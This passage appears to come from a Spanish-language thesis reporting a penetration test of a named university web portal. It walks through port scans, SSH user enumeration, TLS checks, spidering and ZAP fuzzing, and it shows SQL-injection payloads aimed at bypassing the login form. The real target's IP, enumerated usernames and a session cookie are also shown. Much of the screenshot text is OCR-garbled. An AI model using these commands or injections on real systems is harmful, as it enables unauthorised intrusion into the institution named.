sianet.ueb.edu.ec does NOT use Load-balancing.

Figura 31. Balanceadores de carga no encontrados con la herramienta Ibd. (Elaborado por el autor)

Waffw00f

Un firewall de aplicacion web (WAF) es un dispositivo o una pieza de software que
comprueba los paquetes enviados a un servidor web para identificar y bloquear
aquellos que puedan ser maliciosos, generalmente estos son basados en firmas.
wafw00f es una herramienta que automatiza un conjunto de procedimientos

utilizados para encontrar un WAF.
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La prueba realizada con wafw00f no detecté un WAF disponible, el comando que
se utiliz6 fue:

wafw00f -a 190.15.128.203

:~# wafweef -a 1960.15.128.263

LI =N LITLTL S50 N\ 5 X/ /
| vVvV//oV// /| VNV /O Y/ O /S /
L S A A I B ANG AR AN T /

<

WAFWOOF - Web Application Firewall Detection Tool
By Sandro Gauci && Wendel G. Henrique

Checking http://1960.15.128.203

Generic Detection results:

No WAF detected by the generic detection
Number of requests: 14

Figura 32. Waf no detectado con la herramienta wafw00f. (Elaborado por el autor)

Nmap

La herramienta nmap, tiene la capacidad de detectar la existencia de un WAF
utilizando el motor de scripting integrado, estos scripts envian algunos paquetes
maliciosos basicos y compara las respuestas mientras busca un indicador de que un
paquete se bloqued, rechazé o detectd, los resultados obtenidos no especificaron de
la existencia de determinado WAF, la instruccion utilizada para este propdsito fue:
nmap -p 80,443 --script=http-waf-detect --script=http-waf-fingerprint
190.15.128.203

:~# nmap -p 80,443 --script=http-waf-detect --script=http-waf-fingerprint 190.15.128.203
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-28 11:06 -05
Nmap scan report for 1960.15.128.203
Host is up (0.062s latency).

PORT STATE SERVICE
open http
open https

: 1 IP address (1 host up) scanned in 3.97 seconds

Figura 33. Waf no detectado con la herramienta nmap. (Elaborado por el autor)

2.2.2. Escaneo de puertos
Nmap
En este punto se intenta encontrar puertos abiertos y los servicios asociados a ellos
en una red. La exploracion de puertos es el proceso de descubrir puertos abiertos
TCP y UDP en el host o red de destino. Los puertos abiertos revelan los servicios
que se ejecutan en la red.

Con la herramienta nmap, se descubrieron los puertos TCP 22, 80, 443, 5432 y
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50000 habilitados, usando un escaneo rapido de todos los 65535 puertos existentes,
la linea de comando era:

nmap -T4 -p1-65535 -Pn 190.15.128.203 -oN portscan.txt

:~# nmap -T4 -pl-65535 190.15.128.203 -oN portscan.txt
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-27 23:07 -65
Nmap scan report for 190.15.128.203
Host is up (©.089s latency).

Not shown: 65519 filtered ports

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open

5432/tcp open

10000/tcp closed snet-s
50000/tcp open ibm-db2
50001/tcp closed unknown
50002/tcp closed iiimsf
50003/tcp closed unknown
50004/tcp closed unknown
50005/tcp closed unknown
50006/tcp closed unknown
50007/tcp closed unknown
50008/tcp closed unknown
50009/tcp closed unknown
50010/tcp closed unknown

--mgmt

Nmap done: 1 IP address (1 host up) scanned in 321.10 seconds

Figura 34. Escaneo de puertos realizado con la herramienta nmap. (Elaborado por el autor)

Masscan

Este es un escaner de puertos, herramienta con la que se descubrieron los mismos
puertos habilitados que con nmap, escaneo realizado para todos los 65535 puertos
existentes, la instruccion utilizada fue:

masscan -p1-65535 190.15.128.203

:~# masscan -pl-65535 190.15.128.203

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2018-11-28 03:49:30 GMT
forced options: -sS -Pn -n --randomize-hosts -v --send-eth

Initiating SYN Stealth Scan

Scanning 1 hosts [65535 ports/host]

Discovered open port 443/tcp on 190.15.128.203
Discovered open port 22/tcp on 190.15.128.203
Discovered open port 80/tcp on 190.15.128.203
Discovered open port 5432/tcp on 1960.15.128.203

Discovered open port 50000/tcp on 190.15.128.203

Figura 35. Escaneo de puertos realizado con la herramienta masscan. (Elaborado por el autor)

2.2.3. Banner Grabbing
Nmap
Se empled nmap para descubrir la version de los servicios de los puertos 22, 80,
443, 5432 y 50000, utilizando la técnica de escaneo SYN y el motor de scripting de
nmap para identificar la version de los servicios, sistema operativo y el trazo de ruta,

el comando utilizado fue:
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nmap -A -sS -02 -p22,80,443,5432,50000 190.15.128.203 -oN bannergrab.txt

190.1 oN bannergrab. txt

Figura 36. Resultado del escaneo realizado para descubrir la version de los servicios con nmap.

(Elaborado por el autor)

Figura 37. Resultado del escaneo realizado para descubrir la version de los servicios con nmap.

(Elaborado por el autor)

Del escaneo de servicios con nmap, se identifico en el puerto 22 OpenSSH 7.4, en
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los puertos 80/443 se esta ejecutando apache 2.4.6, esto debe ser confirmado con el
navegador para comprobar mediante qué puerto estd habilitado el acceso a la
aplicacion web, en el puerto 5432 se ejecuta una version de PostgreSQL sin
especificar, en el puerto 50000 estd corriendo Webmin 1.900, sistema operativo
CentOS e identificacion del kernel posiblemente la version 3.10. El trazo de ruta
realizado detalla los puntos tomados por los paquetes desde el origen hasta el

destino enumerando los enrutadores por los que atraviesa.
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Denegacion de servicio en Apache 2.4.6

En la siguiente gréafica se hace constancia de la existencia de una denegacion de
servicio en la version actual de Apache, la misma que se ha identificado en la base

de datos de vulnerabilidades conocidas.

Apache 2.4.6 Remote DoS

sSynopsis
The remote web server is affected by a denial of service vulnerability.

Figura 38. Denegacion de servicio en apache 2.4.6 (Elaborado por el autor)

2.2.4. Enumeracion de usuarios SSH
Metasploit Framework
Se utilizd metasploit para enumerar posibles usuarios de acceso a SSH mediante el
modulo ssh_enumusers, las instrucciones utilizadas para este propdsito fueron:
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 190.15.128.203
set USER_FILE
/usr/share/wordlists/metasploit/default_users for services unhash.txt

run

34



# msfconsole -q
msf > use auxiliary/scanner/ssh/ssh enumusers
msf auxiliary( ) > set RHOSTS 190.15.128.203
RHOSTS => 190.15.128.203
msf auxiliary( ) > set USER FILE /usr/share/wordlists/metasp
loit/default users for services unhash.txt
USER FILE => /usr/share/wordlists/metasploit/default users for services unhash.txt
msf auxiliary( ) > run

190.15.
190.15.
190.15.
190.15.
190.15.
190.15.
190.15.
190.15.
190.15.128
190.15.

Using malformed packet technique
Starting scan

User 'admin' not found

User 'root' found

User 'Administrator' not found
User 'sysadm' not found

User 'tech' not found

User 'operator' found

User 'guest' not found

User 'security' not found

NNN

NNNNNN
NNNNNNNN

)

'PUBSUB' not found
'CTXSYS' not found
‘ftp' found
'bill' not found
'192.168.1.1' not found
‘'setpriv' not found
'GUEST' not found
'SAP*' not found
'‘t3admin' not found
'‘hello' not found
'CISCO015' not found
'1.79' not found
not found

not found

not found
'APPS' not found
'‘Developer' not found
‘'mail' found
‘qsecofr' not found
'11111' not found

nuuvunuuuuuuuuunun
nunununununnununununnunununuuunuunuuuumLumLunynmy
TITIIITIIIIIIIX

WWwwwwwww
nununun

0
=

ww

W
nwun

COO0OOOOOOO OO

nun
nwn
I IITX

ww

Figura 40. Enumeracion de usuarios ssh con metasploit. (Elaborado por el autor)

2.2.5. Enumeracién de métodos HTTP
Nmap
HTTP ofrece una serie de métodos que pueden utilizarse para realizar acciones en
el servidor web. Muchos de estos estan disefiados para ayudar a los desarrolladores
a implementar y probar aplicaciones HTTP.
El escaneo realizado con nmap, se descubrieron los métodos GET, HEAD, POST y
OPTIONS, el script que se utilizé viene predefinido en la herramienta para descubrir
los métodos habilitados en el servicio HTTP, el comando utilizado fue:
nmap --script http-methods.nse 190.15.128.203 -p443

| http-methods:
|  Supported Methods: GET HEAD POST OPTIONS

| http-server-header: Apache/2.4.6 (Cent0S) OpenSSL/1.0.2k-fips PHP/7.0.32

Figura 41. Métodos HTTP descubiertos con la herramienta nmap. (Elaborado por el autor)
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Método TRACE habilitado

Con curl fue posible obtener los métodos HTTP disponibles, asignandole el verbo
OPTIONS, este proporciona una lista de los métodos admitidos por el servidor web,
en este caso se descubrid el método TRACE habilitado, se recomienda
deshabilitarlo para evitar Cross Site Tracing (XST), el comando utilizado para este
proposito fue:

curl -s -k -X OPTIONS -I https://www.sianet.ueb.edu.ec/aade/i/

:~%$ curl -s -k -X OPTIONS -I https://www.sianet.ueb.edu.ec/aade/i/
HTTP/1.1 200 OK
Server: Apache/2.4.6 (CentO0S) OpenSSL/1.0.2k-fips PHP/7.0.33
Strict-Transport-Security: max-age=63072000; includeSubdomains
X-Frame-Options: DENY

X-Content-Type-Options: nosniff
Allow: OPTIONS,GET,HEAD,POST,TRACE
Content-Length: ©

Content-Type: httpd/unix-directory

Figura 42. Métodos http descubiertos con curl. (Elaborado por el autor)

2.2.6. Analisis SSL/TLS
SSLscan
SSL significa capa de conexion segura. Se utiliza para cifrar la comunicacion. Dado
que un atacante en la red local podria detectar facilmente el trafico, las
comunicaciones mas sensibles, como las paginas de inicio de sesion.
SSLscan consulta servicios SSL/TLS, como HTTPS, para determinar los cifrados
compatibles con el servidor, la instruccion utilizada para este propodsito fue:

sslscan sianet.ueb.edu.ec

sLscan sianet.ueb.e
2-chacha (1.0.2g-dev)
on port using SNI name
TLS Fallback SCSV
»ssion renegotiation suppo

Compres

artbleed

ECDHE -
ECDHE

ECDHE
ECDHE -

Figura 43. Consulta de los servicios SSL/TLS con sslscan. (Elaborado por el autor)
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ECDHE-RSA-AES256-SHA Curve P-256 DHE
DHE-RSA-AES256-SHA DHE 2048 bits
DHE-RSA-CAMELLIA256-SHA DHE 2048 bits
AES256-SHA
CAMELLIA256-SHA
ECDHE-RSA-AES128-SHA Curve P-256 DHE

DHE-RSA-AES128-SHA DHE 2048 bits
DHE-RSA-CAMELLIA128-SHA DHE 2048 bits
AES128-SHA

CAMELLIA128-SHA

Curve P-256 DHE
DHE 2048 bits

Curve P-256 DHE
o L € tl | 1Le
Signature Algorithm:
RSA Key Strength:

Subject: www.sianet.ueb.edu.ec
Issuer:

Not valid before
Not valid after:

Figura 44. Consulta de los servicios SSL/TLS con sslscan. (Elaborado por el autor)

Del escaneo realizado, se obtuvo el cifrado soportado por el servidor, el algoritmo

de firma del certificado SHA-256 con cifrado RSA.

SSLize
Es una herramienta disefiada para analizar la configuracion SSL de un servidor
conectandose a €1, la sintaxis utilizada fue:

sslyze --regular sianet.ueb.edu.ec
mation:

rint:

erified chain (certificate untruste
ified chain tificate unt te

erified Chain c AL: OR - C no ified chain ( tificate untr

Figura 45. Resultados obtenidos de sslyze. (Elaborado por el autor)

A diferencia de los resultados obtenidos con SSLscan, se logra identificar que el

certificado SSL no es de confianza.
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Certificado SSL no es de confianza

Para corroborar el problema con el certificado SSL, en la siguiente captura se
observa una alerta, detallando que el navegador no pudo validar el certificado
proporcionado por la aplicaciéon a la que pretende acceder, debido a que no posee
un certificado que haya sido emitido por una autoridad de certificacion, problema

que permitiria a los atacantes realizar ataques de ingenieria social.

Advertencia: riesgo potencial de seguridad a continuacion

Firefox ha detectado una posible amenaza de sequridad y no ha cargado www.sianet.ueb.edu.ec. Sivisita este sitio,
los atacantes podrian intentar robar informacion como sus contrasefias, correos electrénicos o detalles de su tarjeta
de crédito.

Mas informacién...

Retroceder (recomendado) Avanzado...

/| Informar de errores como esto ayuda a Mozilla a identificar y bloquear sitios maliciosos

Figura 46. Informacion obtenida al tratar de visitar con el navegador el dominio del sianet.

(Elaborado por el autor)

2.2.7. Enumerando contenido y funcionalidad
Web spidering
El spidering se realiza al solicitar una pagina web en busca de enlaces a otro
contenido, solicita estos enlaces y continua de forma recursiva hasta que no se
descubra ninglin contenido nuevo.
Para este proposito, primero hay que configurar el proxy web, para de esta manera
monitorear y manipular el trafico de ida y vuelta al servidor.
En Firefox, esto es accesible seleccionando el menu Editar, clic en Preferencias,
luego en configuracion de red, posteriormente se abrird una ventana y seleccionar
Configuracion manual de proxy, en los campos requeridos asignar la direccion de
localhost y el puerto 8080 y finalmente clic en Aceptar, esta configuracion es valida

para Burp y Zap.
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Configurar acceso proxya Internet
Sin proxy
Autodetectar configuracion del proxy para esta red
Usar la configuracion del proxy del sistema

o Configuracion manual del proxy

Proxy HTTP| 127.0.0.1 Puerto| 8080

Usar el mismo proxy para tedo

No usar proxy para

Ayuda Cancelar Aceptar

Figura 47. Configuracion del proxy en el navegador firefox. (Elaborado por el autor)

En esta ocasion se usd Burp para realizar el spidering, primero hay que establecer
el alcance para rastrear solo al objetivo definido, simplemente dirigiéndose a Target
en la pestafia Scope y en la funcion Target Scope incluir la URL a evaluar, como se

muestra en la siguiente gréfica.

Burp Intruder Repeater Window Help

J Target I Proxy I Spider T Scanner T Intruder I Repeater I Sequencer I Decoder I Comparer I Extender I

[ Site map T Scope ]

rd Target Scope
L))

Define the in-scope targets for your current work. This configuration affects the behavior of tools througt
include or exclude URL paths.

() Use advanced scope control

L Add | | Enabled Prefix |
& https://www.sianet.ueb.edu.ec
Edit

Figura 48. Incluyendo en el alcance al objetivo a evaluar. (Elaborado por el autor)

A continuacion, hay que ubicarse en Target en la pestafia Site map, clic derecho
sobre el objetivo para abrir el ment contextual y dar clic en Spider this host.
Empezaré a rastrear todas las paginas en busca de enlaces a un nuevo contenido,
creando un mapa de la aplicacion, incorporando todas las URL visitadas por el
spider.

En la imagen a continuacion se observa el mapa del sitio donde reveld, cédulas de

identidad de los usuarios, informacion util para planear el acceso a la aplicacion.
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Target l Proxy I Spider I écannor Ilm;udorT ﬁ;pon« T’Soqutnur I Dc:oatr I éomplrcr1 Extender T Pr‘oim opﬁonl I User options Imm]

[ site map | scope |

[ Filter. Hiding out of scope and not found items. hiding €SS, image and general binary content. hiding 4xx responses. hiding empty folders

* @ buscar_docente php All contents
» @ cambiar_datos_usuario php
» @, curriculum php | | Host | Method | URL | Params | Stat.. 4| Length | MIME type | Title | Comment
> @ estadisticas_curriculo.php hitps:/iwww.sianetu . GET  /spdireportes_silabo, . 200 2470 WML Universidad Estatal ...
Aol https //www.slanet u.., GET /spdireportes_silabo. v 200 6103 HTML Universidad Estatal
r@/ hitps /Iwww slanetu. .. GET Ispdireportes_silabo v 200 6103 HTML Universidad Estatal
* @ imprimir_curriculum. php https: //www sianetu. ., GET /spdireportes_silabo. v 200 6103 HTML Universidad Estatal
[ index.php https.//www slanet u... GET Ispdireportes_silabo. v 200 6103 HTML Universidad Estatal
[ inicio.php htps.//www sianety. ., GET Ispdireportes_silabe. v 200 6103 HTML Universidad Estatal
YT s https:/fwww.slanet u... GET /spdireportes_silabo v 200 6103 HTML Universidad Estatal
(0] https //www slanetu. . GET Ispdireportes_silabo v 200 6103  HTML Universidad Estatal
» [ calendario https //www sianetu, ., GET /spdireportes_silabo. v 200 6103  MTML Universidad Estatal
» [0 javascripts https://www slanet u... GET Ispdireportes_silabo. v 200 6103 HTML Universidad Estatal
[ login_administracion.php hitps. //www sianety . GET Ispdireportes_silabo. v 200 6103 HTML Universidad Estatal
> g) pdfreportesilabos php 1 LS
._repol 08, -
[ 9 M] Response
D sccion=11&ceduls: 2 chasi 2 —
l!} accionw1l&cedula: 1 ml PaumnTHudon]mx]
!E s - GET /5pd/ reportes_silobos.phy HITP/1.1

Host: www sisnet ueb, edu, ec

Accept -Encoding: gzip, deflate

Accept: /¢

6 Accept -Langunge: en

User-Agent: Mozilla/5.0 (cospatible: MSIE 9.0: Windows NT 6.1; Win64: x64; Trident/5.0)
Connection: close

Cookie: PHPSESSIDworllp4241q8ved7lebgefrecrs

accionwllbceduls
sccion=11&ceds
accion=1l&cedula
on=11&ceduls:

IPEEEEREEEEREE

on=114&¢
D accionwlléced:
D sccionmllbceady
D accion=1lscedy

u

iv)| (23 (=) (B () [pe o seorchtem

Figura 49. Resultados del spidering realizado con burp suite. (Elaborado por el autor)

2.2.8. Enumerando directorios y archivos ocultos del dominio
Dirbuster
Es una herramienta que se utiliza para encontrar archivos y directorios web
mediante fuerza bruta.
Ubicados en la herramienta, se escribe el dominio con su respectivo puerto en la
barra de direcciones Target URL, luego asignar la lista de directorios, en este caso

se utiliz6 la que viene por defecto en la herramienta y dar clic en Start.

File Options About Help ‘
Target URL (eg http:/fexample.com:80/)

https://iwww.sianet.ueb.edu.ec:443 |
Work Method () Use GET requests only (=) Aute Switch (HEAD and GET)

MNumber Of Threads . 200 Thre... [+] Go Faster

Select scanning type: (%) List based brute force () Pure Brute Force

File with list of dirs/files

fusrfshare/dirbuster/wordlists/directory-list-2.3-medium.txt | l@ Bmwsg] [ @ List Info]

Char set [.1-.-'!-\-70-‘-')°i.?0-_ "'] Min length |1 Max Length (8

Select starting options: (%) Standard start point () URL Fuzz

[¥] Brute Force Dirs [#] Be Recursive Dir to start with [/ |
[«] Brute Force Files [ ] use Blank Extension File extension [php |
URL to fuzz - /test.html?url={dir}.asp

Please complete the test details

Figura 50. Configuracion del objetivo a evaluar con dirbuster. (Elaborado por el autor)



2.3. Analisis de vulnerabilidades
Una vez que se haya recopilado toda la informacién disponible, a partir de este
momento se puede definir el descubrimiento de agujeros de seguridad y desde este
punto planificar los posibles vectores de ataque.
El proceso de analisis de vulnerabilidades se realiz6 entre el 3 y 7 de diciembre de
2018.

2.3.1. Nessus

Es un software comercial creado para detectar vulnerabilidades, ofrece una version
gratuita con muchas herramientas para ayudar a explorar y reforzar la red.
Para realizar el escaneo con nessus, en la interfaz principal de la herramienta en la

parte superior derecha dar clic en New Scan.

My Scans Impart Mew Folder

W My Scans

Figura 51. Interfaz principal de nessus. (Elaborado por el autor)

Este apartado proporciona una lista con los tipos de escaneo, en este caso se eligid
Advanced Scan este método busca posibles agujeros, como puertos abiertos,
software obsoleto con vulnerabilidades conocidas o contrasefias predeterminadas en

los dispositivos.

Scan Templates
Scanner

{ P o .|
¥ d -
Advanced Dynamic Scan Advanced Scan Audit Cloud Infrastructure Badiock Detection Bash Shelishock Detection

b : O & o

Basic Network Scan Credentialed Patch Audit DROWN Detection Host Discovery Intel AMT Security Bypass

Figura 52. Lista de tipos de escaneos presente en nessus. (Elaborado por el autor)

En este caso para no causar ningin problema en el objetivo se aplico las politicas
asignadas de forma predefinida en la herramienta, simplemente asignando el
nombre del escaneo, una breve descripcion y la direccion IP del objetivo, una vez

terminado de configurar, en la parte inferior izquierda dar clic en Save.
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Settings Credentials Plugins @

W My Scans Base
- s - -]
General
B Trash
Schedule X
Description
Notifications.
o Palicies DISCOVERY
B Piugin Rules ASSESSMENT Foider My Scans -
& scamers REPORT
Tasget:
B zg“ _
Upload Targets Add File
[ <. |- QR

Figura 53. Configuracion del objetivo a evaluar con nessus. (Elaborado por el autor)

Una vez que el proceso de escaneo se ha completado con éxito, las vulnerabilidades
se muestran en diferentes niveles de riesgo, se han detectado cuatro vulnerabilidades

de riesgo medio, dos de nivel bajo y 38 informativas.

INFO

190.15.128.203

CRITICAL HIGH MEDIUM

Figura 54. Nivel de riesgo de las vulnerabilidades encontradas con nessus. (Elaborado por el autor)

SEVERITY CVsSS PLUGIN NAME
6.4 51192 SSL Certificate Cannot Be Trusted
6.4 57582 SSL Self-Signed Certificate
5.0 11213 .HT TP TRACE / TRACK Methods Allowed
5.0 42873 SSL Medium Strength Cipher Suites Supported
2.6 70658 .ssn Server CBC Mode Ciphers Enabled
2.6 65821 SSL RC4 Cipher Suites Supported (Bar Mitzvah)
BEEl - 46180 .A.uditiona.l DNS Hostnames
N/A 18261 Apache Banner Linux Distribution Disclosure
| wro | A 48204 .Apache HTTP Server Version
N/A 84574 Backpored Security Patch Detection (PHP)
m .NIA 39520 .Bac:kported Security Patch Detection (SSH)
N/A 39521 Backponed Security Patch Detection (M)
m N/A 45590 Commeon Platform Enumeration (CPE)
N/A 54615 Device Type
m N/A 19689 .Embedded wWeb Server Detection
NFO N/A 10107 HTTP Server Type and Version
“ N/A 24260 HyperText Transfer Protocol (HTTP) Information
INFO N/A 10114 ICMP Timestamp Request Remote Date Disclosure

Figura 55. Vulnerabilidades detectadas con nessus. (Elaborado por el autor)



MNIA 11219 Nessus SYN scanner

N/A 19506 Nessus Scan Information

N/A 1107223  No Credentials Provided

N/A 42823 Non-compliant Strict Transpornt Security (STS)

N/A 11936 OS Identification

NiA 50845 OpenSSL Detection

N/A 57323 OpenSSL Version Detection

N/A 48243 PHP Version Detection

N/A 26024 PostgreSQL Server Detection

N/A 70657 SSH Algorithms and Languages Supported

N/A 10881 SSH Protocol Versions Supported

N/A 10267 SSH Server Type and Version Information

N/A 56984 SSL/TLS Versions Supported

N/A 10863 SSL Certificate | nformation

N/A 70544 SSL Cipher Block Chaining Cipher Suites Supported
NIA 21643 SSL Cipher Suites Supported

N/A 57041 SSL Perfect Forward Secrecy Cipher Suites Supported
N/A 94761 SSL Root Certification Authority Certificate Information
N/A 22964 Service Detection

N/A 42822 Strict Transport Security (STS) Detection

N/A 25220 TCP/IP Timestamps Supported

Figura 56. Vulnerabilidades detectadas con nessus. (Elaborado por el autor)

Entre las vulnerabilidades de nivel medio se encuentra, el método Trace habilitado,
el certificado SSL al no ser de confianza constituye una debilidad, de nivel bajo
detalla sobre el cifrado admitido por SSH y el resto son informativas es decir

informacion recopilada de banners de los servicios.

2.3.2. Zed Atack Proxy
ZAP es una herramienta integrada para pruebas de penetracion, permite encontrar
vulnerabilidades en aplicaciones web, ofrece escaneos automaticos, asi como un
conjunto de herramientas que permiten encontrar vulnerabilidades manualmente.
Escaneo Activo
El escaneo activo intenta encontrar potenciales vulnerabilidades usando ataques
conocidos contra objetivos seleccionados.
Para este escaneo, hay que ubicarse sobre la URL objetivo que contenga los
parametros a evaluar, clic derecho para abrir el menu contextual, en la opcion Atacar

dar clic en Activar escaneo.
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@ stos] + | . IncioRapdo ¥ | = Peticion | Respuestar= | % |

ek .
B it Bienvenido al OWASP Zed Attack Proxy (ZAP)
¥ Default Context ZAP & una herramienta para pruebas de penetracidn, de facd uso y con multiples comp , para encontrar vulnerabilidades en aplicacior
@ Sitios
v i P httpsdiwww.sianet ueb.edu.ec Ten en cuenta que sdlo debes atacar aplicaciones para fas cuales se ha sido previamente autorizado,
Y ERsme Para probar una apicacion rapidamente, introduzca la URL y presione ‘Atacar’,
» 1
» Dips URL a atacar: httpat/ | @ Seleccl
GET:login_administracion.php S Atacar 5]

[ ™ POST:login_administracion.phplingresar, contrasena facultad,

Progreso: No iniciado
¥ GET:login_financiero.php

POST:login_financiero.phplingresar,contrasena,nombre_usuarl
GET:sme.kco Para un analisis mas en profundidad de la prueba se debe explorar [a aplicacion mediante pruebas de regresidn automatizadas navegando a tr}

» P htpuidetectportal firefox.com Sl usted est usando Firefox 24.0 o superior puede usar ‘Plu-n-Hack para confiqurar su naveaador: v

Figura 57. URL para evaluar mediante escaneo activo con ZAP. (Elaborado por el autor)

Se abre una ventana como la que se muestra a continuacion, en la parte inferior
derecha dar clic en Iniciar escaneo, empezara a realizar una gran cantidad de

peticiones en todos los parametros de entrada.

| Scope [

Punto de partida:

.ec/sme/flogin_administracien.php @ Seleccionar...

Politica

| Politica por defecto >
Contexto:
Usuario:
Recurse:
Mostrar opciones avanzadas L

& | Cancelar || Reiniciar JI iniciar escaneo ]

Figura 58. Interfaz de escaneo activo de la herramienta ZAP. (Elaborado por el autor)

Este procedimiento se hace para todos los puntos a evaluar en la aplicacion. Al
seleccionar la pestafia Alertas, se observa las vulnerabilidades identificadas por cada
nivel de riesgo. Si el banderin es rojo, significa que el riesgo es alto, si es naranja,
el riesgo es de nivel medio, si es amarillo es bajo y los azules son informativos.

En la siguiente imagen se puede observar dos vulnerabilidades de alto riesgo, dos

de nivel medio, cinco de riesgo bajo, y ninguna informativa.
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[ = Hisora | €, Buscar | Mobletas #] * saida | # |

o ."J Aqui se mostrara e detalle completo de cualquier alerta seleccionada,
» B Crogs Site Scripting (Reflejada) (52)
» P Falla por Inyeccidn SQL (84)
» P Application Emor Dischosure
» I Exgloracitn de Directorios (2) También puede editar |as alertas existentes haciendo doble clic sobre ells.
» % Cokie No HttpOnly Flag (17)
» [ Cookie Without Secure Flag (17}
¥ ¥ Incomplete or No Cache-control and Pragma HTTP Header §
¥ [+ Password Autocomplete in Browser (26}
» ¥ Web Browser XSS Protection Not Enabled (317)

Puede ahadir alertas de forma manual haciends clic con e batdn derecho sobre cualquier entrada en e historial y seleccionando “Afadir alertz”.

TN T
Aertas B2 F2 25 RO Escaneo actual @0 @0 20 @0 #o o %o Mo

Figura 59. Lista de vulnerabilidades obtenidas con la herramienta ZAP. (Elaborado por el autor)

Las alertas listadas, se deben verificar, para corroborar si existe la vulnerabilidad,
es probable que la herramienta haya encontrado falsos positivos o pardmetros en los

que paso por alto y no detectd nada.

2.3.3. Fuzzing

Es una técnica que consiste en enviar gran cantidad de datos malformados en los
parametros de entrada de la aplicacion de manera automatica, con la intencion de
provocar errores en la misma. Se pueden encontrar vulnerabilidades que no se
encuentran en el escaneo automatizado.

Se utilizd6 ZAP para realizar esta técnica, como ejemplo se tomo el pardmetro
nombre usuario del formulario de inicio de sesion Matriculacion, en primera
instancia seleccionar el pardmetro indicado, clic derecho y en el ment contextual

seleccionar fuzz.

GET:index.php facul tad=1%27+AND+%271%27%30%271%2 7+ - +:nombre_usuario=1111111111] contrasena=password: Ingresar=Ingresar
[ GET:inicio.php

v CRjs
[ GET:login_administracion.php

[ " POST:login_administracion.php(Ingresar, contrasena, facultad

Figura 60. Parametro para realizar fuzzing con la herramienta ZAP. (Elaborado por el autor)

Se abrira una ventana para anadir las cargas Utiles, en la parte superior derecha dar

clic en Payloads.
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_|[ Fuzz Locations || Opeiones | Message Processors |

|Header: Vista Raw || | Cuerpo:Vista Raw (=] [ [ ] Fuzz Locations:

POST https://www.sianet.ueb.edu.ec/sme/login_administracion.php HTTP/1.1 & ) V... | s 0. | hddi
User-Agent: Mozilla/5.0 (X11: Linux x86_64: rvi63.0) Gecko/20100101 ™ L
Firefox/63.0

Accept: text/html,application/xhtml+xml,application/xml:q=0.9,%/%:q=0.8 :
Accept-Language: es-ES.es:q=0.8.en-US:q=0.5.en:q=0.3 Payloads...

Referer: https://www.sianet.ueb.edu.ec/sme/login_administracion.php
Content-Type: application/x-www-form-urlencoded

Content-Length: 103 Processors...
Connection: keep-alive

Cookie: PHPSESSID=j6k4609f1rrud021lbujmigsvl
Upgrade-Insecure-Requests: 1

DNT: 1

Host: www.slanet.ueb.edu.ec q n

facultad=1%27+AND+%271%27%30%271%27+- -+_nombre_usuvario-1I11111111
contrasena=password:.Ingresar=Ingresar

-
v

] Remove without confirmation

9 | | Cancelar || Reset J[ Start Fuzzer J

Figura 61. Interfaz de configuracion de fuzz con la herramienta ZAP. (Elaborado por el autor)

Se abre una ventana para definir el archivo de fuzzers, se puede cargar un archivo
personalizado, pero en este caso se eligié el archivo jbrofuzz predefinido en ZAP,

en la parte inferior clic en Anadir.

Tipo: [Flle Fuzzers |v]
Archivos:

Buscar Siguiente Buscar Anterior

= [flAlphabets
» [/]Base

= [/]Bioclogy

» []Buffer Overflows
= []Exploits
= []Format String Errors
= MHTTP
v
|a]

» [¥]Headers
= [M]Injection

Payloads Preview: @1 Plain Reguest
1:

10 Plain Requests
1:
2:
3:
d:
5:
[-H
7:
8:
9:
10:

- 7 Y

=
b 4

| @ | | cancelar J [ Anadir J

Figura 62. Archivo de fuzzers de la herramienta ZAP. (Elaborado por el autor)




Finalmente, en la parte inferior derecha seleccionar Start Fuzzer.

[ Fuzz Locations | opciones | Message Processors |

| Header: Vista Raw 3 | Cuerpo:Vista Raw Ej B o Fuzz Locations:
r1 | e & Voo | # .0 | #0.. |
POST https://www.sianet.ueb.edu.ec/sme/login_administracion.php HTTP/1.1 &
User-Agent: Mozilla/S.0 (X11; Linux x86_64; rv:63.0) Gecko/20100101 Bl B. 1. 14.. 0 I3 [ Eliminar |
Firefox/63.0

Accept: text/html,application/xhtml+xml,application/xml:q=0.9,%/*:q=0.8
Accept-Language: es-ES,es:;q=0.8,en-US;q=0.5.en:q=0.3
Referer: https://www.sianet.ueb.edu.ec/sme/login_administracion.php
Content-Type: application/x-www-form-urlencoded

Content-Length: 103 Processors...
Connection: keep-alive

Cookle: PHPSESSID=)6k4609T1lrrud@2llbujmig8vl
Upgrade-Insecure-Requests:

DNT: 1

Host: www.slanet.ueb.edu.ec

facultad=1%27+AND+%271%27%30%271%27+- -+-nombre_usuario-TIIIIIIIa
contrasena=password:Ingresar=Ingresar

5
v

/] Remove without confirmation

@ | cancelar || Reset || StartFuzzer |

Figura 63. Parametro asignado con el archivo de fuzzers. (Elaborado por el autor)

Proceso que empezara a realizar una serie de peticiones, analizando los resultados
se observa un cambio en el tamafio de la respuesta por parte del servidor, indicativo
que una de las cargas se proceso, en la seccion Payloads se observa la carga utilizada

que pudo haber omitido el proceso de autenticacion mediante inyeccion SQL.

Task ID | Message Type | Code | Reasca | RTT | Size Resp. Header | Size Resp. Body | Highest Alert Estado | Payloads
14.303 Fuzzed 200 0K 161 ms 470 bytes 10,339 bytes X' o name{)="u...
14.304 Fuzzed 00 oK 129 ms 470 bytes 10.339 bytes or 1=l
14.305 Fuzzed 200 OK 140 ms 470 byte 10.339 bytes tor ="

14.306 Fuzzed 200 OK 70 bytes X' of L=1 of x'="y
14.307 Fuzzed 200 OK 95 ms 470 bytes 10.339 bytes Reflected )

14.308 Fuzzed 200 0K 23l ms 470 bytes 10,345 bytes Reflected ]

14.309 Fuzzed 200 OK 104 ms 470 bytes 10.339 bytes i

14.310 Furred 200 OK 127 ms 470 bytes 10.339 bytes e

Figura 64. Carga identificada para evadir la autenticacion mediante inyeccion SQL. (Elaborado

por el autor)

2.3.4. Verificacion de vulnerabilidades
Hallazgo 6
Inyeccion SQL
La vulnerabilidad se produce debido a la falta de validacion o filtrado de entrada.
La entrada del atacante se hace parte de la consulta SQL, que permite hacer varias
cosas, como la recuperacion de datos, la lectura y escritura de archivos en el sistema.
Evadiendo el mecanismo de autenticacion
Aqui el enfoque utilizado es verificar la inyeccion SQL para omitir el mecanismo
de autenticacion.

En primera instancia verificar que el proxy esté funcionando correctamente, luego
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dirigirse a ZAP y en la parte superior dar clic en Brake Point.

